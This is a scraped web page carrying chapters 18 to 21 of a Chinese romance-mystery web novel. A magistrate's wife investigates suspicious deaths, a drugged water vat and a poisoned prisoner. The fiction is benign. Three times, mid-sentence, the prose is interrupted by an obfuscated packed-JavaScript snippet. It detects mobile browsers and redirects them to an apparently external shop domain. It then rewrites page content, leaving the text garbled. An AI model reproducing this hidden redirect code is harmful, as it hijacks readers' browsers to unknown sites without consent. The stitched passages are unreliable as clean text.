远远看见小镜子匆匆赶回，柳清忙翻身下房，迫不及待迎上去问：“怎么样，打听到什么了？” “主子，秦府已将那下药之人拿住了，听闻是府内一名家仆，因着与秦暮有些过节，这才迁怒于秦然姑娘。”小镜子语气带喘，低声回禀。 柳清略一思忖，问：“那家仆现在何处？” “被关在秦府柴房里，官差原本要带走，却被秦暮拦下了，只说是自家纠纷，将官差打发走了。”小镜子喘了口气，又道，“奴婢还打听到，那家仆似乎与前些日子在秦家酒楼撞死的账房有些亲戚关系……” 柳清忆及那账房，脑中仅存一团模糊影迹，唯独记得他是王婆的合作伙伴。 说起他的死，的确透着几分诡异，但事发太突然，他又本就是戴罪之人，所以当时草草交了官府，也就没人再注意此事。 眼下，这家仆忽然现身，倒像是露出了一丝线索，或许能引出更多隐秘。 柳清眼中灵光一闪，立时决断：“今夜，得去秦府走一遭。” 小镜子一听，顿时慌了神，连忙劝阻：“主子，这可使不得啊！老爷吩咐过，不许您再去秦府的，况且这黑灯瞎火的，万一……” “他沈之衡的话，我什么时候听过？”柳清打断她，“夜里行动才方便，若是在白日，被人撞见反倒麻烦。” 说走就走，柳清换上夜行衣，敛息屏气，借着夜色掩护，悄然向着秦府潜行。 行至县衙，她步子一顿，心中忽而冒出一个念头：沈之衡这会儿在干嘛呢？ 县衙大门业已关闭，绕去仪门又要耽搁不少时辰，况且她身着夜行服，不便示人眼前。 柳清眼珠一转，心道：不过瞧一眼便走，何须那么麻烦！ 她盯上县衙围墙边凸起的砖石，手脚麻利地攀上去，探出脑袋就往里瞧。 下一秒，她却倒吸一口凉气。 衙内围墙下，不知何故，竟站着一排衙役。 听得头顶动静，众衙役齐刷刷抬头，正对上柳清的目光。 柳清心下一惊，脚下踩空，整个人直直从墙头跌落。 “哎哟……” 她还没爬起来，县衙大门“吱呀”一声打开，黑压压一群衙役涌出来，立刻将她团团围住。 “大胆贼人！竟敢夜闯县衙！拿下！” 为首一人喝令一声，当即有衙役上前，一把扯掉柳清脸上的面巾。 面巾掉落，露出一张清秀白皙的脸。 众人正欲拿人，一个身材瘦小的衙役从人群中挤了出来，正是上次给沈之衡通报，说柳清被抓进大牢的衙役。 他本就记得柳清的脸，一眼就认出她，当即“噗”的一声跪倒在地：“夫人恕罪！都怪小的们冲撞了夫人！” 其他衙役见状，愣住了，也不敢再抓人，开始交头接耳。 “谁家夫人？” “不知道，不过有些眼熟。” “八宝，你是不是认错人了？” 八宝骇得抹了把额上的汗，急忙道：“县太爷的夫人！咱们大人的夫人！” “啥！”众人一听，顿时惊得目瞪口呆，显然没料到眼前这位扒墙头的贼人，竟是他们县太爷的夫人。 众衙役七手八脚把柳清扶起，一个个点头哈腰地赔礼道歉：“夫人恕罪，是小的们有眼不识泰山！” 柳清被这阵仗吓了一跳，连连摆手道：“与你们无关，是我自己不小心跌下来的。” 八宝眼珠一转，立刻堆起满脸笑容，凑上前问道：“夫人可是来找大人的？小的这就进去通报！” “不用了不用了！”柳清慌忙拒绝，脸上却有些发烫，“我就是路过，随便看看，这就走了，这就走了！” 说完，也不等众人反应，便逃也似的离开了。 众衙役目送柳清的身影消失在夜色中，这才敢小声议论起来。 “你说夫人这大晚上的，不在家待着，翻咱们衙门的墙做什么？” “谁知道呢，兴许是给大人一个惊喜？” “可她穿着一身夜行衣，怎么看也不像是给惊喜的吧？” “该不会……是出来偷人，来这儿只是为了确认大人在不在？” 八宝一听这话，顿时眼珠子一瞪，狠狠一巴掌拍在那衙役头上：“不要命了！竟敢胡乱编排夫人！” 那衙役被打得脖子一缩，心知失言，周围顿时鸦雀无声。 八宝清了清嗓子，一本正经道：“依我看呐，夫人定是挂念大人，又怕打扰大人办公，这才偷偷摸摸地过来看一眼。哎，真是情深义重啊！” 众衙役赶紧点头称是。 恰逢此时，沈之衡从县衙大门跨出，发现门口围了一圈人，问：“怎么回事？为何聚在此处？” 众衙役低头，面面相觑，无人敢应。 八宝反应最快，忙上前一步，堆笑道：“回大人……”便将适才之事绘声绘色说与沈之衡听。 沈之衡听罢，沉吟片刻，问：“她可有说去向？” 八宝抬手一指，正是秦府的方向。 柳清并未去秦府，方才被衙役们撞破，她心中羞赧，料想沈之衡定会知晓此事，便索性绕路回了府。 沈之衡回府时，柳清已将一身夜行衣叠好，收入盒中。 房门打开，一身官服的男人似是有些急切地跨步进来，但看到屋内人影时，又放缓步伐。 他一进门，目光就落在柳清身上，上下打量了一番才开口：“你刚才去县衙了？” 柳清早已打好腹稿，随口答道：“唔，就是路过，随便看看。” 说罢，便想转移话题，“今日怎回来得这般晚？” “最近城里不太平，案子比较多，所以忙了些。” 沈之衡回答完，又将话题转回来，目光始终未曾从柳清身上离开，“方才为何穿着夜行衣？” 柳清心里把那群多嘴的衙役骂了个遍，面上却是不动声色，“什么夜行衣，不过是件深色外衣罢了，天色太晚，他们看错了。” 沈之衡不依不饶：“那现在为何又换了衣裳？” 柳清故作轻松道：“准备睡觉了，当然要换一身舒服的衣裳。” 沈之衡不再追问，却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572352|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步步向柳清靠近，身上还带着一丝夜晚的寒凉。 柳清下意识后退，慌乱间，不小心碰翻了梳妆台上的盒子，盒子掉落在地，里面一件黑布衣裳登时散落出来。 柳清慌忙去收拾，但沈之衡动作更快，抢先一步捡起衣裳，展开仔细研究了一番，最终得出结论：“这分明就是贼人最爱穿的那种夜行衣。” 烛光摇曳，两人四目相对，气氛显然有些尴尬。 “你需得给我个解释。”沈之衡先开口。 柳清被他看得心里发慌，却又不甘示弱，索性心一横，眼一闭，梗着脖子说道：“我就是……就是想你了！去看看你，但又不想被人发现……” 沈之衡一愣，显然没料到是这个答案，喉咙突然一紧，整个人都僵住了。 柳清趁机一把夺过衣服，紧紧藏在身后。 也不知沈之衡是否会相信，不过柳清翻墙头，本也就是想看看沈之衡的，虽说是顺路而为，倒也不算说谎。 因而柳清脸不红心不跳，底气十足。 倒是沈之衡，许是夜里奔波，着了凉，喉结滚动了好几个回合也未置一词，怕不是喉咙发痒，要感冒了。 房间里安静了片刻，只能听到彼此的呼吸声。 终于，柳清听到沈之衡轻叹了口气，说：“以后想来便大大方方从正门进来，或是走仪门也行。若是再翻墙，万一被不认识你的衙役抓到，伤着了怎么办？” 见沈之衡神色缓和，显然是信了她的话，柳清暗暗松了口气，忙不迭地保证：“嗯嗯，以后再不翻了！” 见她这般乖巧模样，沈之衡心下稍安，一直紧绷的脊背终于舒展了些。 浑身戾气瞬消，他摸了摸鼻子，从怀中掏出一本书递过去，“给你的。” 柳清接过一看，眼睛顿时瞪得溜圆，“《风流寡妇大战仨秀才》？！你从哪弄来的？” “这书......”沈之衡轻咳一声，竟是有些红了脸，“今日审问几个戏楼姑娘，偶然寻到的，说是市面上已经绝版，这是其中一个姑娘的珍藏。” 柳清恍然大悟，忙不迭翻开书，却在下一刻，笑容僵在了脸上。 这书页......竟是残缺的！ 所有描写“驾马车”细节的文字，全都被撕掉了！ “怎么少了几页？”柳清不满地抬头。 沈之衡眼神闪躲，“不清楚，我拿到的时候，就是这样。” 柳清狐疑地审视沈之衡的表情，除了能看出些疲惫之色，似乎并无不妥，遂只得作罢。 秦府。 秦然斜倚在床头，初秋时节落入水中，令她染了风寒，虽一副病容，却掩盖不住眉宇间的阴狠。 她手里紧紧攥着一方锦帕，用力之大，骨节都泛着青白。 “可打听到了？”秦然哑着声音问。 床边一个丫鬟低着头，战战兢兢地回：“打听到了，那沈夫人只是个普通人家的女儿，并无什么特别之处，名唤柳清。” “柳清！”秦然咬牙切齿地重复着这个名字，手中锦帕几乎被她揉碎，“好一个柳清！我倒要看看，你究竟是何方神圣，竟能迷得沈之衡神魂颠倒！” 19. 第 19 章 柳清捧着那本残缺的《风流寡妇大战仨秀才》，细细品读，只觉自己这故事写得精彩绝伦，引人入胜，回味无穷。 饶是她这个作者，也忍不住拍案叫绝。只是这缺失的几页，着实令人抓心挠肝。 她沉浸其中，不知不觉间便抱着话本入了眠。 梦里，她化身书中的风流寡妇，与三位秀才相约云层之上，决一胜负。 本是公平切磋，谁知那三个秀才不讲武德，竟一同出手，将她团团围住。 柳清双拳难敌六掌，被打得节节败退，一个不慎，竟从云端跌落！ 幸好，那云层之下，有一只冬眠的大熊，柳清正好跌落在那毛茸茸的熊肚子上，这才捡回一条命。 现实中，沈之衡躺在床榻之上，辗转难眠。 忽闻里间传来一声闷响，他连忙起身，掌灯走到里间，只见柳清抱着被褥，四仰八叉地躺在地上，睡得正香。 沈之衡立于一旁，凝视片刻，见她睡颜恬静，气息绵长，似没有转醒的迹象，便俯身欲将她抱回床榻。 谁知，刚碰到柳清的手臂，地上那人便像八爪鱼一般，猛地翻身一扑，竟将他压在了身下！ …… 日头初升，天光透过雕花窗棂洒入室内，正落在柳清脸上。 她不适地动了动，只觉浑身酸痛，仿若被马车碾过一般。 “嘶……”柳清倒吸一口凉气，想要起身，却发现双手不知怎的，抬不起来了。 她挣扎着垂眸，登时愣住。但见自己手腕上胡乱缠着一节腰带，虽只是松松垮垮地绕了几圈，但也足够让她动弹不得。 这是怎么回事？ 昨夜睡前，她分明把今日要穿的衣服置于床尾，这腰带怎的跑手腕上来了？难道梦游了？ 小镜子进来伺候时，柳清已穿戴整齐，正揉着手腕努力回想昨夜发生了什么，却一无所获。 梳洗之际，小镜子说起秦府的动静：“主子，奴婢听说给秦家小姐下药的那家仆，今早被发现吊死在柴房里了，现场还留了封遗书呢。” 柳清蹙眉：“死了？” 小镜子点点头：“仵作去瞧过了，说是自缢。” 柳清放下象牙梳，指尖轻叩桌面，陷入沉思。 昨夜她思虑良久，终是没有潜入秦府，如今看来竟是错失了时机。 “近日城中接连丧命之人，未免也太多了些……”她低声喃喃，心中疑云渐起。 聚财商会的管事，秦家酒楼的账房，如今又添了一个秦府家仆…… 这些看似毫无关联之人接连横死，桩桩件件都指向一个可怕的真相：有人在暗中操控一切，杀人灭口！ 柳清忽然想起什么，问：“那家仆的家人如何安置了？” “这倒是不知，许是发卖了吧。”小镜子回。 按照大户人家的规矩，家仆和一般杂役下人不同，签的都是死契，对忠诚度的要求更高。通常都是拖家带口一大家子住在主人家里，代代服侍主人家。 那给秦然下药的家仆虽是自缢，但毕竟罪行已犯，势必会牵连到家人。 若是能接近那家仆的家人，想必可以顺藤摸瓜，查到幕后主使。 “哦对了，可有打听到，秦家小姐如何了？”柳清又问。 小镜子摇头：“没听说有何动静，遭了这么大的横祸，怎么着也得卧床休息几日吧。” “既如此……”柳清站起身来，从妆奁里拿出一锭银子，“我去秦府探望探望，沈之衡若是问起，你就说我去戏楼听曲儿了。” “诶！主子……” 最近两起命案都跟秦府有关，柳清还记得，那日她去秦家酒楼送豆腐，杨观分明说是怀疑酒楼贩卖私盐，但死了个账房后，这事就不了了之了。 她计划借探望秦然，去秦府走一趟，若是秦然那边不便见客，她好歹将这十两银子还给秦暮。 然而到了那里，却发现秦府大门紧闭，守卫森严，较之往日更添了几分肃静，闲杂人等难以靠近。 柳清遥遥望着这森严阵仗，心中暗叹一声，看来今日想要入府，怕是难上加难了。 她转身欲走，却听身后有人唤她。 柳清循声望去，只见秦暮一袭青衫，负手立于几步之外，眉眼含笑，一派温文尔雅。 “秦老板。”柳清微微颔首。 “姑娘这是……”秦暮见她手中似握着什么，不由关切问道。 柳清缓缓摊开手掌，露出一锭银子：“我来还钱。” 秦暮先是一愣，随即反应过来，摇头轻笑：“不过区区十两银子，姑娘不必如此介怀。” “一码归一码。”柳清语气坚定，上前一步，将银子递到秦暮面前，“说好了是来帮工的，结果什么忙都没帮上，这银子我不能收。” 秦暮并未伸手去接，只温言道：“既是如此，姑娘便留着做些私房钱吧，沈大人两袖清风，俸禄微薄，姑娘手头宽裕些，也能……” “秦老板这话，在下不敢苟同。”柳清黛眉微蹙，打断了他的话，“我虽是一介女流，却也懂得自食其力，无需他人施舍。” “姑娘说的是，倒是在下唐突了。”秦暮接过那锭银子，抿唇不再言语。 柳清直等着这人请她进府坐坐，但秦暮似乎并无此意，柳清等得尴尬，又不想就这样离开，便没话找话：“不知令妹现在可好些了？” 秦暮缓缓摇头，叹了口气才开口：“不甚乐观，舍妹自落水后，虽身体已无大碍，但心情一直萎靡不振，这不，我此番外出归来，就是去寻那能令人愉快些的办法去了。” “那可寻着了？” “寻着了，过几日恰有一支杂耍团经过清河县，我已派人交涉，请他们来我秦府表演几日，到时候姑娘若是感兴趣，也欢迎来府上观看。” “……” 告别秦暮，柳清心情极好地去了趟杂货铺子。 她有了新的计划。 她需要一个身份光明正大进入秦府探查，几日后的杂耍团正是绝佳的机会。只要她混进杂耍队伍，住进秦府，不愁找不着机会打探消息。 眼下最重要的，是学杂耍。 “掌柜的，来个大缸… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573717|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …大铁环有没有？能钻人的那种？……对了，再来点火油！” 柳清在杂货铺里大肆采购，买的都是寻常人家甚少用到的东西。因而杂货铺的掌柜忙得满头汗，才堪堪将她所需之物凑齐。 东西太多，柳清一个人拿不了，便请了两个小厮帮忙送货。 小镜子见她这副架势，吓得不轻：“我的姑奶奶，您这是要做什么？” 柳清特意寻了个单独的院子，把东西一件件安置好，叉腰笑道：“我要学艺。” …… 半下午的时候，府里来了不速之客。 沈之衡在县衙还未归家，柳清便顶着女主人的名头前去待客。 厅堂里，一女子衣着华丽，手拿一把精致团扇，正慢悠悠地摇着。不是别人，正是那落水事件的当事人，秦然。 秦然身旁的丫鬟手里捧着一个精致木箱，也不知里面装着什么宝贝。 “秦姑娘，你怎么来了？身体可好些了？” 上午还听秦暮说，这人心情不佳，状态不甚乐观，没想到下午就出来串门了。柳清虽对她心怀芥蒂，但仍大方招呼。 秦然见到柳清，放下团扇，起身施了一礼：“沈大人帮小女子抓到了歹人，小女子特意备了些西域进贡的香梨，聊表谢意。” 说着，便示意丫鬟打开木箱，只见里面整整齐齐码着黄澄澄的香梨，个个饱满圆润，非寻常人家可见。 柳清心中纳闷，那日抓捕犯人，明明是秦府的护卫和县衙的官差们忙前忙后，沈之衡根本不在场。 再说，就算要道谢，也该去县衙才对，怎么巴巴地送到她这里来了？ 见柳清不语，秦然掩嘴轻笑一声：“这位想必就是沈夫人了吧？”她上下打量柳清一番，眼中闪过一丝不屑：“原来沈大人喜欢这种类型的女子，倒也稀奇。” 柳清当下觉着不对劲，正要发问，又见秦然掩着口鼻，故作惊讶道：“沈夫人这是打哪儿回来？怎么一股子……奇怪的味道？” 柳清刚练了喷火，身上许是沾了火油味，但她不便向秦然解释，只得忍了这番阴阳怪气。 况且这小姑娘才年十五，一个孩子罢了，不与她计较。 秦然见柳清不答话，还当她是怕了自己。毕竟秦家可是清河县数一数二的大户人家，而她柳清，不过是普通人家的孤女。 思及此，秦然不由得放宽了心，心想这趟门出得真舒心。 她此番前来，正是为了会会这“沈夫人”，如今看来，不足为惧。 秦然心中得意，状似无意地摸了一下手腕上晶莹剔透的翡翠镯子，又轻轻扶了扶头上那支雕工精美的碧玉簪，这才在丫鬟的搀扶下，弱柳扶风地离开了。 柳清看着她远去的背影，心中一阵厌烦。 她不知这秦然葫芦里卖的什么药，但自己原本的好心情，已被她搅得一干二净。 所以，当晚沈之衡回府时，桌上并没有他惯常吃的饭菜，只有一箱黄澄澄的香梨。 沈之衡拿起一个梨，想问问柳清这是哪来的，却只换来她一个冷冰冰的“哼”字。 20. 第 20 章 小镜子学舌的本事一流，秦然阴阳怪气的那一套，连带着那些故意显摆的做派，都被她模仿得活灵活现。 沈之衡听完，视线落在那箱香梨上，哪里还猜不出秦然的小心思，脸色顿时阴沉下来，直接吩咐人把梨送回秦府。 他正欲往后院去寻柳清，却被急匆匆赶来的杨观拦住了。 杨观满头是汗，说是关押在牢里的王婆不知为何突然要招供，但指名道姓要亲自告诉沈之衡。 夜幕降临，府内亮起点点灯火。 柳清在房中生了一顿闷气，屋里屋外寂静无声，更显得心里郁结。 她看了看桌上还没来得及收拾的茶盏，估摸着时间已经不早了，可沈之衡还没回来。 她叫来小镜子，开口问道：“老爷怎么还没回来？” 小镜子答：“老爷临时有事去县衙了，看样子一时半会儿回不来。” 柳清点点头，遣退了小镜子，心里却越发烦躁，哪里睡得着。 她起身走到窗边，一把推开窗，想吹吹风，好让自己静一静。 夜风送爽，丝丝桂花的甜香钻入鼻尖。柳清凝神，隐约瞧见不远处房顶上有个黑影晃动，借着月光仔细一看，竟像是个人影。 她心下一惊，怀疑是小偷，赶紧蹲下身子隐藏身型，警惕地偷看房顶上的人，只见那人动作轻盈地跃下房顶，落点似是厨房的方向。 柳清猫着腰，在院中寻了块趁手的石头，蹑手蹑脚地往厨房走。 远远地，她就瞧见一个黑影在水缸那边，鬼鬼祟祟地不知做些什么，心里更加确定了自己的猜测。 柳清屏住呼吸，放轻脚步，一步一步靠近。那人背对着她，浑然不觉危险临近。她握紧石头，高高举起，瞄准目标就要砸下去。 就在石头即将落下的瞬间，那人猛地转身。 电光火石之间，柳清手中石头不偏不倚砸在那人头上，而那人反应也极快，手中挥出一股白色粉末，柳清躲闪不及，当即觉得双眼一阵刺痛，什么都看不清了。 她心下骇然，眯着眼睛伸手往前探去，却抓了个空，只得高声呼喊：“抓刺客！” 护院们闻声赶来，却不见刺客踪影，只瞧见柳清蹲在井边，就着一桶水不断往眼中泼。 “夫人！眼睛可伤着了？”府医也随众人赶来。 柳清听见声音，泪眼婆娑地回头，“快，快看看水缸里有什么！” 府医本想先瞧瞧柳清的眼睛，却被她一把推开。 府医无法，只得依言先去查看水缸，只见他又是银针探底，又是药粉测试，折腾半天，最后抓来只老鼠，喂了几口水缸里的水。 那老鼠起先还活蹦乱跳，没一会儿便像是喝醉了酒一般，摇摇晃晃，最终瘫倒在地，不动弹了。 “这……死了？” “不像是死了，像是睡着了。”府医捻着胡须，沉吟道，“这水里，怕是加了蒙汗药。” 府里忽然热闹起来了，那边厢丫头们脚步凌乱，你一言我一语地说着“夫人遇刺了”，这边厢小厮们声如洪钟，一叠声“快去禀报老爷”地嚷嚷着，将沈之衡从县衙生生给喊了回来。 他一脚跨进院子，便瞧见柳清立在井边，眼圈儿红红的，像是受了什么委屈。 沈之衡心里一紧，一种从未有过的焦灼感涌上心头，三步并作两步走到她跟前，一把将人搂进怀里，“怎么了这是？” 柳清挣扎着从他怀里出来，双眼迷离，“有人在咱家水缸里下蒙汗药！” 沈之衡听着这句“咱家”，心里仿佛被猫爪轻轻挠了一下，随即脸色一沉，立刻吩咐下人：“彻查府邸，任何角落，任何人都不可放过！” 瞧着柳清那双红肿的眼睛，沈之衡只觉心头刺痛，忙催着府医仔细看看。 府医借着摇曳的烛光，见柳清虽眼泪汪汪，但说话利索，中气十足，本以为并无大碍。 谁知，这一凑近了细看，登时吓得面无人色，“哎呀！夫人这是迷药入眼了！得赶紧清洗干净，否则，否则……眼睛不保哇！” “快！快打盆清水来！”沈之衡吼道，声音都变了调。 一名护院快步奔至堂前，扑通一声跪倒在地，抱拳急道：“启禀大人，方圆一里内已搜查完毕，未曾发现可疑之人！” 沈之衡闻言，顿时怒火中烧，额角青筋暴起，厉声喝道：“继续搜！扩大至方圆十里，掘地三尺也要将此人给我揪出来！” 说完，便将柳清圈在怀里，就着水盆，一手轻轻托着柳清的后脑，一手用柔软的帕子沾了水，一遍又一遍地为她清洗双眼。 “好了，可以了。”柳清觉得已不那么难受了，便想从沈之衡怀里起来。 “不行，眼睛不想要了？”沈之衡却将她按住，不容她拒绝。 丫鬟们端来一盆又一盆清水，他便一盆盆地洗将下去，直洗得柳清两眼通红，酸楚难忍，竟是连眼皮也抬不起来了。 “我的眼睛，好酸，睁不开了……” “怎么了？是不是还没洗干净？”沈之衡见状大惊失色，还以为是那迷药太过厉害，心中更加焦急，忙吩咐丫鬟再去打水。 “大人，使不得了，眼睛长时间接触清水，是会酸涩难忍的，得缓一缓再洗才好。”一旁的府医终于看不下去了，连忙出声阻止。 沈之衡这才住了手，扶柳清在榻上躺下。 柳清脸颊和额前的碎发都已被水打湿，看起来楚楚可怜，哪里还有半分平日的明媚灵动？ 沈之衡本想再说几句体己话，但此时心里酸涩难耐，喉头哽得生疼，竟是半个字也说不出来，只恨不能将那下毒之人千刀万剐。 “对了！我用石头砸了那贼人的头！”柳清缓过劲来，忽然记起重要线索，挣扎着要起身，“那石头上肯定还有他的血迹，可以当做证物！” “躺好！”沈之衡急忙拉住她，将她按回床上，“你现在需要好好休息，这事我会处理。” “你不知那石头长什么样，我得亲自去找。”柳清被按下去又弹起来，“说不定还能找到其他线索。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13580110|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不许去！”沈之衡气得牙根痒痒，手下加了几分力不让她走。 柳清心中委屈，忍不住嘟囔道：“早知便该寻个趁手的家伙，也免得与那贼人靠得这般近……” “胡闹！府中护卫众多，何须你以身犯险？你行事如此莽撞，若那贼子真要人性命，你还能安然无恙躺在这里吗！” 沈之衡说到此处，猛然顿住，自知语气太过严苛，望见柳清受伤的神情，心中又是一阵刺痛，语气也随之软了下来：“往后遇事，切记第一时间呼人相助，莫要再让自己身陷险境，可记下了？” 沈之衡说罢，作势又要为她洗眼。柳清可不想再遭这份罪，只得可怜巴巴地望向府医。 府医沉吟片刻，道：“倒也不是没有旁的法子，夫人不妨哭出来，让眼泪将毒素冲刷掉也是一样的。” 柳清一听，顿时来了精神，猛地在自己腿上一扭，疼得直抽气，却愣是挤不出一滴眼泪。 沈之衡瞧着她这般模样，心中不忍，重新拿起沾了水的帕子，“还是用水快些，来，莫要再耽搁了。” 柳清欲要躲避，却被沈之衡轻轻一带，不由自主重新依偎进他怀中。 天光乍破，一夜纷扰终归平静。 那府医长舒一口气，言道柳清的眼睛已无大碍，只需静养几日即可痊愈。 柳清早已疲惫不堪，眼皮像是千斤重，挣扎了几下便合上了。 沈之衡衣襟和袖口皆被水浸湿，但他浑然未觉，只小心翼翼地将柳清横抱起来，回了房间。 怀中人一沾到床榻便沉沉睡去，显然是累极了。 沈之衡看着她湿漉漉的衣裳，唯恐她着凉，轻轻推着她的肩，低声唤道：“清儿，先换身衣裳再睡……” 却只听得均匀的呼吸声，柳清已然睡熟。 沈之衡凝视着她的睡颜，心中似有一处被轻轻触动，他从未如此仔细地观察过一个女子。 往日里，那些大家闺秀在他面前，哪个不是端庄优雅，谨言慎行？ 唯有柳清，她鲜活灵动，胆大妄为，总能做出一些出人意料之举，让他又气又恼，却又偏偏移不开眼。 他鬼使神差地伸出手，想要帮她换下湿衣，指尖刚碰到那柔软的绸缎，床上的人却在睡梦中动了一下，想是衣衫湿冷贴在身上，并不舒服。 沈之衡心头一紧，如同被烫到一般迅速收回手。 见她并未转醒，沈之衡再次抬手，却又在触碰到她衣襟的前一刻顿住。 柳清脸上还残留着未干的水珠，沈之衡用手抹去，指尖滑过她柔软的脸颊，忍不住又往下，落在那泛白的唇上。 只轻轻一碰，便觉软软弹弹，如上好的芙蓉糕般诱人。 心跳得厉害，一个念头开始在他脑中盘旋，他想要更靠近她一些，想要感受她的温度。 可是，理智却在不断拉扯，告诉他不应该趁人之危。 喉结滚动，沈之衡缓缓俯身，屏住呼吸，颤抖着将自己的唇递了上去。 蜻蜓点水，一触即离。 21. 第 21 章 沈之衡唤来小镜子，吩咐她替柳清换身干净衣裳。 说罢，他转身出门，径直去了护院处，询问昨夜之事。 护院如实禀报，称他们赶去厨房时，并未见到刺客身影，只在水缸旁捡到一块带血的石头。 沈之衡接过那石头，只见上面血迹斑斑，和柳清所述情况确实符合，沉吟片刻，果断下令：“传令下去，全城搜捕，务必将那头上带伤的刺客捉拿归案！” 护院领命而去，沈之衡独自佇立院中，反复思量适才护院所言，试图从中寻得蛛丝马迹。 晓风拂过，衣衫半湿，寒意袭人，他不禁打了个冷颤。 王婆狱中的招供，此刻萦绕于沈之衡心头。 王婆说，那天本不该翠花去送豆腐，偏生前一晚，有人夜入其房，逼她次日务必使翠花送豆腐去。 那人捏着王婆痛处，以此胁迫，若她不从，便要将她犯的事告发官府。 王婆与化名翠花的柳清素无深交，那人为何要逼迫王婆支使柳清去送豆腐？ 王婆的事和今日之事，看似无关，却又隐约透着一丝微妙的联系。 沈之衡百思不得其解，决定再去牢中，向王婆问个究竟。 然而，等他匆匆赶到牢房时，却见王婆痛苦倒地，双手紧掐脖颈，浑身抽搐不止，似在承受莫大痛苦。 沈之衡心下一惊，忙令狱卒将王婆抬出。狱卒七手八脚地照办。只见王婆面色青紫，两眼翻白，气息奄奄，眼看便要活不成了。 大夫匆匆赶来，查看一番，脸色也凝重起来：“大人，犯人她……像是吞了什么东西，卡住了喉咙，已是窒息了。” 沈之衡眉头紧锁：“可还能救？” 大夫面露难色，只说尽力而为。他小心撬开王婆的嘴，隐约瞧见一颗龙眼大小的石块卡在喉咙深处，想来王婆便是因此痛苦难捱。 众人见状，无不倒吸一口凉气，不知这王婆究竟遭遇了何事，竟会选择吞石自尽？ 大夫费了好一番功夫，才将那哽在喉头的东西取出，仔细一看，竟是大惊失色，这哪里是什么石块，分明是盐块！ 如此大小形状的盐块，绝非寻常百姓人家所有，只能是……私盐！ 王婆无力地瘫软在地，大口喘着粗气，眼神却逐渐涣散，口中含糊不清地呓语着，谁也听不懂她在说什么。 大夫诊脉之后，摇着头定论：“犯人窒息时辰过久，以致神志受损，怕是……” 沈之衡心中一沉，他知道这意味着什么。王婆，变成了一个傻子。 至此，案情重归迷雾。 沈之衡只得吩咐将王婆好生安置在单人牢房，派专人照看，盼她能早日恢复神智，道出其中真相。 仔细想来，王婆定是下了必死的决心，只因那盐块卡入喉咙，她会因窒息而亡。若是吞如腹中，又会因盐含量过重而脱水而亡。 只是，这盐块从何而来？犯人入狱皆是搜过身的，王婆如何能带进来？只能是有人暗中送入！ 他正思索间，忽闻下人来报：“大人，监察御史胡大人来了！” 沈之衡心下一凛，这胡御史向来与他不对付，今日前来，怕是来者不善。 胡御史一进县衙，便是一声怒喝：“沈之衡，你好大的胆子！” 沈之衡上前行礼：“不知下官犯了何事，惹得胡大人如此动怒？” “犯了何事？你自己心里清楚！牢里犯人险些丢了性命，你还有脸问？！” 沈之衡心知肚明，这胡御史定是拿此事做文章，便平静答道：“下官已经查明，是有人故意为之，如今正在全力追查凶手。” “追查凶手？我看你是玩忽职守！本官来时便发现，这县衙内官差稀少，一问之下，竟是被你派出去寻什么刺客！如今县衙内人手不足，才导致犯人被害，你还有何话说？！” 胡御史痛心疾首，“沈之衡啊沈之衡，你莫不是因为刚成亲，无心公务，整日沉迷温柔乡不可自拔？！” 沈之衡早料到他会如此说，不卑不亢道：“胡大人明鉴，此事并非大人所想那般简单。那刺客行刺，不过是为了调虎离山，我已派人暗中调查，相信不日便能将凶手捉拿归案！” “哼，巧言令色！本官倒要看看，你这案子要如何破！若是破不了案，本官定要上京参你一本！” 胡御史拂袖而去，留下沈之衡独自站在原地，面色阴沉。 送走了咄咄逼人的胡御史，沈之衡只觉太阳穴突突直跳。一夜未眠，又与这老狐狸周旋半晌，饶是他铁打的身子也有些吃不消了。 他揉了揉眉心，决定先回府看看柳清，顺便歇息片刻。 沈之衡一进府，便瞧见柳清坐在饭桌旁，小口地喝着粥。许是药效还未褪去，她眼眶仍有些泛红，好在精神头还不错。 柳清见他进门，忙起身相迎，“事情可还顺利？” 沈之衡摇摇头，在她身旁落座，“那刺客狡猾得很，还没抓到，眼睛还难受吗？” “我已大好了，不必担心。”柳清体贴地为他盛了碗粥，“倒是你，忙了一整晚，快些吃点东西。” 沈之衡接过粥碗，却没急着动筷，只叮嘱道：“这段时日你便安心待在府中，切莫随意外出。我已让管家增派人手，日夜守卫，确保万无一失。” “我不怕！”柳清不以为意地摆摆手，“那刺客若再来，我定叫他有来无回！” 沈之衡见她这般天不怕地不怕的模样，不禁有些头疼，刚想开口说教几句，却被柳清抢先一步。 “说起来，莫不是你怕了吧？”柳清撑着下巴，笑盈盈地望着他，“毕竟，刺客若是进屋行凶，最先经过的，可是你的床铺呢。” 